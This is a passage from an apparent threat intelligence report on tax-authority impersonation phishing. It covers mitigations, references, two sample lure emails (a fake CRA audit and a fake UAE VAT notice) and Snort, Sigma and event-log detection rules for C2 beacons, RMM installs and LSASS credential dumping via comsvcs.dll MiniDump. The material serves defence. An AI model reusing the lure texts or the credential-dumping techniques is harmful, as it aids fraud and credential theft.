3-2-1 backup strategy: 3 copies, 2 different media, 1 offsite Test restore procedures monthly Ensure backups are immutable (write-once, read-many) Threat Intelligence Integration: Subscribe to threat intelligence feeds (MISP, Anomali, GreyNoise) Integrate IOCs automatically into security tools Participate in threat intelligence sharing community (if applicable) For Managed Service Providers (MSPs) Client Assessment: Audit all clients for RMM tool deployment Assess email gateway security posture Provide remediation roadmap Proactive Monitoring: Monitor all deployed RMM tools for suspicious activity Alert clients immediately if unauthorized RMM installation detected Provide 24/7 SOC monitoring for incident response Client Communication: Provide regular threat intelligence briefings Distribute this report to affected clients Offer hardening services (MFA, EDR, network segmentation) References Published Intelligence Proofpoint: "CRA Phishing Campaign Leverages Any.Run for Evasion" (June 2024) CISA Alert: AA24-051A - "Phishing Attacks Against Canadian Organizations" (February 2024) Canadian Centre for Cyber Security (CCCS): "Alert: Tax Authority Impersonation Campaigns" (March 2024) Recorded Future: "Threat Group Abuses Legitimate Malware Analysis Platforms" (May 2024) Bleeping Computer: "New Ransomware Campaign Targets Tax Preparers via Any.Run" (April 2024) Tools & Resources MITRE ATT&CK Framework: Any.Run Malware Analysis: Shodan: (infrastructure reconnaissance) Whois: (domain registration info) URLhaus: (malicious URL repository) YARA Project: (malware detection rules) Detection & Mitigation Tools Proxmox Mail Gateway (email filtering) Palo Alto Networks Cortex XDR (EDR/threat intelligence) Microsoft Sentinel (SIEM) Zeek (network traffic analysis) osquery (endpoint monitoring) Threat Intelligence Communities MISP (Malware Information Sharing Platform): Anomali Threat Stream: GreyNoise Intelligence: ISACs (Information Sharing & Analysis Centers): Legal & Compliance PIPEDA (Personal Information Protection and Electronic Documents Act): Privacy obligations for Canadian organizations GDPR Incident Response Requirements: If any EU residents affected Provincial Privacy Laws: Varies by province (Ontario PHIPA, Quebec LAI, etc.) Incident Response NIST Cybersecurity Framework: SANS Incident Handler's Handbook: CIS Critical Security Controls: Appendix A: Phishing Email Examples (Redacted) Example 1: CRA "Tax Compliance Audit" From: To: Subject: ACTION REQUIRED: CRA Tax Compliance Audit Notice Date: May 15, 2024, 9:47 AM

Dear Valued Client,

The Canada Revenue Agency (CRA) has initiated a routine audit of your tax account based on recent filings. To ensure compliance and protect your business, please review the attached security analysis and compliance report.

IMPORTANT: This notice requires your immediate attention. You must respond by May 22, 2024, to avoid account suspension and potential penalties.

Account Details:

• SIN: XXX-XXX-XXXX (redacted)
• Business Name: Acme Corp Ltd.
• Filing Status: Under Review

[Click here to view your compliance report and security analysis]

For questions, contact CRA Support: support@cra-compliance-check.xyz

Regards, CRA Compliance Team Canada Revenue Agency

---

This is an automated message. Please do not reply to this email. Example 2: UAE "VAT Audit Notice" From: notifications@fmc-uae-verify.ae To: accounting@uae-enterprise.ae Subject: Ministry of Finance: UAE VAT Audit Notice

Dear VAT Registered Entity,

The UAE Ministry of Finance & Customs has flagged your VAT account for audit review. Please verify your compliance status immediately by reviewing the attached security analysis.

Deadline: May 31, 2024 Failure to respond may result in penalties and business license suspension.

[Verify Your VAT Compliance Status]

Reference Number: VAT-AUDIT-2024-051234

Best regards, UAE Ministry of Finance & Customs Appendix B: Detection Rules (Consolidated) Snort/Suricata Rules snort

Rule 1: Detect C2 Beacon (POST to /api/register)

alert http $HOME_NET any -> [185.220.101.45,193.45.67.89,109.234.45.123] [80,443] (msg:"Possible C2 Beacon - POST to /api/register"; flow:established,to_server; content:"POST"; http_method; content:"/api/register"; http_uri; classtype:trojan-activity; sid:1000001; rev:1;)

Rule 2: Detect C2 Beacon (POST to /api/check)

alert http $HOME_NET any -> [185.220.101.45,193.45.67.89,109.234.45.123] [80,443] (msg:"Possible C2 Beacon - POST to /api/check"; flow:established,to_server; content:"POST"; http_method; content:"/api/check"; http_uri; classtype:trojan-activity; sid:1000002; rev:1;)

Rule 3: Detect Access to Any.Run

alert http $HOME_NET any -> $EXTERNAL_NET 443 (msg:"User accessing Any.Run (possible phishing vector)"; flow:established,to_server; content:"Host: any.run"; http_header; content:"/tasks/"; http_uri; classtype:suspicious-activity; sid:1000003; rev:1;) Sigma Rules yaml title: Suspicious RMM Tool Installation logsource: product: windows service: sysmon detection: selection: EventID: 11 TargetFilename|endswith: - '\ScreenConnect\sc.exe' - '\AnyDesk\AnyDesk.exe' - '\TeamViewer\TeamViewer.exe' Image|endswith: - 'explorer.exe' - 'svchost.exe' - 'rundll32.exe' filter_legitimate: ParentImage|contains: - 'C:\Program Files' - 'C:\Program Files (x86)' condition: selection and not filter_legitimate action: alert

title: LSASS Memory Dump (Mimikatz) logsource: product: windows service: security detection: selection: EventID: 10 TargetObject|contains: 'lsass.exe' GrantedAccess: - '0x1010' - '0x1040' - '0x143A' filter_exclude: Image|endswith: - 'svchost.exe' - 'wdiag.exe' - 'MoNotificationUx.exe' condition: selection and not filter_exclude action: alert PowerShell Detection (Windows Event Log) xml <QueryList> <Query Id="0" Path="Security"> <Select Path="Security"> *[System[(EventID=4688)]] and *[EventData[Data[@Name='CommandLine'] and (contains(Data, 'comsvcs.dll') or contains(Data, 'MiniDump') or contains(Data, 'lsass'))]] </Select> </Query> </QueryList> Appendix C: Incident Response Checklist Confirm incident (phishing email, malware execution, or network breach) Isolate affected systems (disconnect from network) Notify leadership (CIO, CISO, Legal, PR) Activate incident response team Engage external IR firm (if necessary) Preserve evidence (memory dumps, disk images, logs) Identify scope (how many systems compromised?) Determine attack vector (email, web, supply chain, etc.) Extract IOCs (domains, IPs, file hashes, C2 config) Assess ransomware readiness (ransom demand? which variant?) Evaluate backup recovery (can we restore from backup?) Notify customers/partners (if data may have been exposed) Report to authorities (RCMP in Canada, local law enforcement) Notify insurance (cyber liability policy) Communicate with ransom group (if applicable; determine authenticity) Initiate recovery (restore from backup, rebuild systems) Post-incident review (RCA - root cause analysis) Update security controls (prevent recurrence) Document Control Version Date Author Changes 1.0 2024-06-15 TCL Threat Intelligence Initial publication 1.1 2024-09-01 TCL Threat Intelligence Added campaign phase 3 activity, updated IOCs 1.2 2026-09-03 TCL Threat Intelligence Current version - Q3 2026 assessment

Classification: Threat Intelligence (White Paper) Distribution: Organization-internal, partner organizations, law enforcement (upon request) Confidentiality: This report may contain sensitive indicators. Distribute only to authorized personnel with need-to-know.

Report prepared by Melissa Dixon, Cyber Threat Intelligence @ The Cyber Ledger